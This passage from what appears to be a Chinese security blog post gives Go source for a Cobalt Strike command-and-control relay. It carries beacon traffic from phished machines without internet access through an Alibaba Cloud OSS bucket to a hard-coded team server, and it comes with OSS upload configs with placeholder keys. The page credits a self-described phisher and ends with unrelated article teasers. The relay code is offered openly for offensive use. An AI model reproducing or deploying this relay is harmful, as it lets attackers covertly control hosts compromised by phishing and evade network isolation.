}func processServerWithLock(URLname string) {// 从name中提取UUIDlog.Println("[+]", "发现客户端")// 将Base64编码的数据解码sDec, err := base64.StdEncoding.DecodeString(string(URLname))if err != nil {log.Println("[-]", sDec, "Base64解码失败:", err)return}// 连接CS服务器conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址if err != nil {log.Println("[-]", conn, "连接CS服务器失败:", err)return}defer conn.Close()// 发送解码后的数据到CS服务器_, err = conn.Write(sDec)if err != nil {log.Println("[-]", "无法向CS服务器发送数据包:", err)return}// 设置读超时_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))var buffer bytes.Buffer// 从CS服务器读取响应数据for {var buf [1]byten, err := conn.Read(buf[:])if err != nil {log.Println("[-]", "从CS服务器读取数据失败:", err)break}buffer.Write(buf[:n])// 检查是否接收完毕if strings.Contains(buffer.String(), "\r\n\r\n") {// 处理Content-Lengthif strings.Contains(buffer.String(), "Content-Length") {ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]log.Println("[+]", "数据包长度为:", strings.TrimSpace(ContentLength))// 继续读取指定长度的数据if strings.TrimSpace(ContentLength) != "0" {intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))if err != nil {log.Println("[-]", "Content-Length转换失败:", err)break}for i := 1; i <= intContentLength; i++ {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", "从CS服务器读取数据失败:", err)break}buffer.Write(b[:n])}}}// 处理Chunked传输if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {for {var b [1]byten, err = conn.Read(b[:])if err != nil {log.Println("[-]", "读取Chunked数据失败:", err)break}buffer.Write(b[:n])if strings.Contains(buffer.String(), "0\r\n\r\n") {break}}}log.Println("[+]", "从CS服务器接受完毕")break}}// 将响应数据重新编码为Base64b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())Send("Send-Server.json", "server.zip", b64)log.Println("[+]", "服务器数据发送完毕")log.Println("文件上传完成,暂停30秒...")time.Sleep(30 * time.Second) // Pause for 30 seconds }func checkFileChanges(currentContent string, server_address string) {// 加锁,防止与定时任务冲突log.Println("[+]", "尝试加锁以检测文件变化")
/* fileLock.Lock()log.Println("[+]", "文件锁定成功,开始检查文件变化")defer func() {log.Println("[+]", "解锁文件")fileLock.Unlock()}()*/log.Println(currentContent)log.Println(previousContent)
// if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {log.Println("[+]", "文件内容不一致,开始处理")previousContent = currentContent // 更新存储的文件内容log.Println("currentContent:",currentContent)log.Println("previousContent:",previousContent)processServerWithLock(currentContent) // 处理客户端文件数据
/* } else {log.Println("[+]", "文件内容一致,无需处理")}*/
}func startServer(server_address string) {log.Println("[+]", "服务端启动成功")for {time.Sleep(6 * time.Second)// 获取 Send-Client.json 中的 URLclientURL,err := Getfile("Send-Client.json")log.Println("clientURL=>",clientURL)currentContent, err := fetchFileContent(clientURL)log.Println("currentContent=>",currentContent)if err != nil {log.Println("[-]", "获取客户端文件失败:", err)return}println("大小为%s", len(currentContent))checkFileChanges(currentContent, server_address)}
}func main() {go timedownload()server_address := "x.x.x.x:17777"startServer(server_address)}
涉及json文件
Send-Client.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
Send-Server.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
致谢:
主要代码提供者,钓鱼佬pant0m
其语雀链接:
https://www.yuque.com/pant0m
相关文章:
阿里云oss转发上线-实现不出网钓鱼
本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余 实战环境 被钓鱼机器不出网只可访问内部网络包含集团oss 实战思路 若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送…...
Spring Boot 3.4.0 发行:革新与突破的里程碑
🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…...
【网络安全】
黑客入侵 什么是黑客入侵? “黑客”是一个外来词,是英语单词hacker的中文音译。最初,“黑客”只是一个褒义词,指的是那些尽力挖掘计算机程序最大潜力的点脑精英,他们讨论软件黑客的技巧和态度,以及共享文化…...
在SQLyog中导入和导出数据库
导入 假如我要导入一个xxx.sql,我就先创建一个叫做xxx的数据库。 然后右键点击导入、执行SQL脚本 选择要导入的数据库文件的位置,点击执行即可 注意: 导入之后记得刷新一下导出 选择你要导出的数据库 右键选择:备份/导出、…...
RabbitMQ简单应用
概念 RabbitMQ 是一种流行的开源消息代理(Message Broker)软件,它实现了高级消息队列协议(AMQP - Advanced Message Queuing Protocol)。RabbitMQ 通过高效的消息传递机制,主要应用于分布式系统中解耦应用…...
使用LUKS对Linux磁盘进行加密
前言 本实验用于日常学习用,如需对存有重要数据的磁盘进行操作,请做好数据备份工作。 此实验只是使用LUKS工具的冰山一角,后续还会有更多功能等待探索。 LUKS(Linux Unified Key Setup)是Linux系统中用于磁盘加密的一…...
戴尔电脑安装centos7系统遇到的问题
1,找不到启动盘(Operation System Loader signature found in SecureBoot exclusion database(‘dbx’).All bootable devices failed secure Boot Verification) 关闭 Secure Boot(推荐): 进入 BIOS/UEFI…...
3.4.SynchronousMethodHandler组件之ResponseHandler
前言 feign发送完请求后, 拿到返回结果, 那么这个返回结果肯定是需要经过框架进一步处理然后再返回到调用者的, 其中ResponseHandler就是用来处理这个返回结果的, 这也是符合正常思维的处理方式, 例如springmvc部分在调用在controller端点前后都会增加扩展点。 从图中可以看得…...
Linux 下进程的状态
操作系统中常见进程状态 在操作系统中有六种常见进程状态: 新建状态: 进程正在被创建. 此时操作系统会为进程分配资源, 如: 内存空间等, 进行初始化就绪状态: 进程已经准备好运行了, 只需要等待被调度, 获取 CPU 资源就可以执行了, 操作系统中可能同时存在多个进程处于就绪状…...
【计算机网络】核心部分复习
目录 交换机 v.s. 路由器OSI七层更实用的TCP/IP四层TCPUDP 交换机 v.s. 路由器 交换机-MAC地址 链接设备和设备 路由器- IP地址 链接局域网和局域网 OSI七层 物理层:传输设备。原始电信号比特流。数据链路层:代表是交换机。物理地址寻址,交…...
Spring Boot开发实战:从入门到构建高效应用
Spring Boot 是 Java 开发者构建微服务、Web 应用和后端服务的首选框架之一。其凭借开箱即用的特性、大量的自动化配置和灵活的扩展性,极大简化了开发流程。本文将以实战为核心,从基础到高级,全面探讨 Spring Boot 的应用开发。 一、Spring B…...
pyshark安装使用,ubuntu:20.04
1.容器创建 命令 docker run -d --name pyshark -v D:\src:/root/share ubuntu:2004 /bin/bash -c "while true;do sleep 1000;done" 用于创建并启动一个新的 Docker 容器。 docker run -d --name pyshark -v D:\src:/root/share ubuntu:2004 /bin/bash -c "w…...
基本功能实现
目录 1、环境搭建 2、按键控制灯&电机 LED 电机 垂直按键(机械按键) 3、串口调试功能 4、定时器延时和定时器中断 5、振动强弱调节 6、万年历 7、五方向按键 1、原理及分析 2、程序设计 1、环境搭建 需求: 搭建一个STM32F411CEU6工程 分析: C / C 宏定义栏…...
《那个让服务器“跳舞”的bug》
在程序的世界里,bug 就像隐藏在暗处的小怪兽,时不时跳出来捣乱。而在我的职业生涯中,有一个bug让我至今难忘,它不仅让项目差点夭折,还让我熬了无数个通宵。这个故事发生在一个风和日丽的下午,我们正在开发一…...
Python 网络爬虫进阶:动态网页爬取与反爬机制应对
在上一篇文章中,我们学习了如何使用 Python 构建一个基本的网络爬虫。然而,在实际应用中,许多网站使用动态内容加载或实现反爬机制来阻止未经授权的抓取。因此,本篇文章将深入探讨以下进阶主题: 如何处理动态加载的网…...
创建可直接用 root 用户 ssh 登陆的 Docker 镜像
有时候我们在 Mac OS X 或 Windows 平台下需要开发以 Linux 为运行时的应用,IDE 或可直接使用 Docker 容器,或 SSH 远程连接。本地命令行下操作虽然可以用 docker exec 连接正在运行的容器,但 IDE 远程连接的话 SSH 总是一种较为通用的连接方…...
wordpress 中添加图片放大功能
功能描述 使用 Fancybox 实现图片放大和灯箱效果。自动为文章内容中的图片添加链接,使其支持 Fancybox。修改了 header.php 和 footer.php 以引入必要的 CSS 和 JS 文件。在 functions.php 中通过过滤器自动为图片添加 data-fancybox 属性。 最终代码 1. 修改 hea…...
数据结构 (7)线性表的链式存储
前言 线性表是一种基本的数据结构,用于存储线性序列的元素。线性表的存储方式主要有两种:顺序存储和链式存储。链式存储,即链表,是一种非常灵活和高效的存储方式,特别适用于需要频繁插入和删除操作的场景。 链表的基本…...
库的操作.
创建、删除数据库 创建语法: CREATE DATABASE [IF NOT EXISTS] db_name[ ]是可选项,IF NOT EXISTS 是表明如果不存在才能创建数据库 //查看数据库,假设7行 show databases; //创建数据库 --- 本质在Linux创建一个目录 create database databa…...
Vue进阶之Vue CLI服务—@vue/cli-service Vuex
Vue CLI服务—vue/cli-service & Vuex vue/cli-service初识bin/vue-cli-service.js代码执行解读 Vuexgenerator/index.jsstore/index.js插件化的能力怎么引入呢? vue/cli-service 初识 第一块是上一个讲述的cli是把我们代码的配置项,各种各样的插件…...
导入100道注会cpa题的方法,导入试题,自己刷题
一、问题描述 复习备考的小伙伴们,往往希望能够利用零碎的时间和手上的试题,来复习和备考 用一个能够导入自己试题的刷题工具,既能加强练习又能利用好零碎时间,是一个不错的解决方案 目前市面上刷题工具存下这些问题 1、要收费…...
数据库操作、锁特性
1. DML、DDL和DQL是数据库操作语言的三种主要类型 1.1 DML(Data Manipulation Language)数据操纵语言 DML是用于检索、插入、更新和删除数据库中数据的SQL语句。 主要的DML语句包括: SELECT:用于查询数据库中的数据。 INSERT&a…...
学习笔记039——SpringBoot整合Redis
文章目录 1、Redis 基本操作Redis 默认有 16 个数据库,使用的是第 0 个,切换数据库添加数据/修改数据查询数据批量添加批量查询删除数据查询所有的 key清除当前数据库清除所有数据库查看 key 是否存在设置有效期查看有效期 2、Redis 数据类型String追加字…...
(笔记)简单了解ZYNQ
1、zynq首先是一个片上操作系统(Soc),结合了arm(PS)和fpga(PL)两部分组成 Zynq系统主要由两部分组成:PS(Processing System)和PL(Programmable L…...
大众点评小程序mtgsig1.2算法
测试效果: var e function _typeof(o) {return "function" typeof Symbol && "symbol" typeof Symbol.iterator? function (o) {return typeof o;}: function (o) {return o && "function" typeof Symbol &…...
七牛云AIGC内容安全方案助力企业合规创新
随着人工智能生成内容(AIGC)技术的飞速发展,内容审核的难度也随之急剧上升。在传统审核场景中,涉及色情、政治、恐怖主义等内容的标准相对清晰明确,但在AIGC的应用场景中,这些界限变得模糊且难以界定。用户可能通过交互性引导AI生成违规内容,为审核工作带来了前所未有的不可预测…...
.net的winfrom程序 窗体透明打开窗体时出现在屏幕右上角
窗体透明, 将Form的属性Opacity,由默认的100% 调整到 80%,这个数字越小越透明(尽量别低于50%,不信你试试看)! 打开窗体时出现在屏幕右上角 //构造函数 public frmCalendarList() {InitializeComponent();//打开窗体&…...
基于YOLOv8深度学习的智慧课堂教师上课行为检测系统研究与实现(PyQt5界面+数据集+训练代码)
随着人工智能技术的迅猛发展,智能课堂行为分析逐渐成为提高教学质量和提升教学效率的关键工具之一。在现代教学环境中,能够实时了解教师的课堂表现和行为,对于促进互动式教学和个性化辅导具有重要意义。传统的课堂行为分析依赖于人工观测&…...
使用 Tkinter 创建一个简单的 GUI 应用程序来合并视频和音频文件
使用 Tkinter 创建一个简单的 GUI 应用程序来合并视频和音频文件 Python 是一门强大的编程语言,它不仅可以用于数据处理、自动化脚本,还可以用于创建图形用户界面 (GUI) 应用程序。在本教程中,我们将使用 Python 的标准库模块 tkinter 创建一…...
【C++笔记】模板进阶
前言 各位读者朋友们大家好!上一期我们讲了stack、queue以及仿函数。先前我们讲过模板的初阶内容,这一期我们来更深入的学习一下模板。 一. 非类型模板参数 1.1 非类型模板参数 模板参数分为类型形参和类类型形参: 类型形参:…...
wordpress月亮主题/怎么注册一个自己的网站
附件 qwer 转载于:https://www.cnblogs.com/visi_zhangyang/p/5012867.html...
在什么网站可以自承包活来做/竞价推广工具
select CONCAT(COLUMN_NAME ,’,’) from information_schema.COLUMNS where table_name ‘icloud_dictionary’ 然后,必须在notepad中打开 altshift选中多行,于是多行的光标成为一列...
浙江高端网站建设/seo优化的主要任务包括
【CVPR 2021】基于Wasserstein Distance对比表示蒸馏方法:Wasserstein Contrastive Representation Distillation论文地址:主要问题:主要思路:Wasserstein Distance:基本内容:定义:具体实现&…...
wordpress 安装插件 ftp/网购平台推广方案
前提条件 如果没有安装office的话,需要安装引擎 安装了office就不用安装引擎 连接数据库 Dim plMydb As Microsoft.Office.Interop.Access.Dao.DatabaseplMydb DAODBEngine_definst.OpenDatabase(ppDataBase) 备份数据库 AccessDB.CompactDatabase(iMDBFile, iTMPF…...
网站开发时间段/seo范畴有哪些
[深入Python]sys.modules Python中所有加载到内存的模块都放在sys.modules。当import一个模块时首先会在这个列表中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用import的模块的Local名字空间中。如果没有加载则从sys.path目录中按照模块名…...
深圳最好的公司排名/抖音seo排名优化
最近在看java的线程池,对于里面的三种缓存队列里面进行对比学习了下,感觉自己测试下来的结果和网上有些知识点不同相同,所以还希望有人能帮我解惑下。 概述 队列简单解释SynchrousQueue不会保存提交任务,超出直接corePoolSize个…...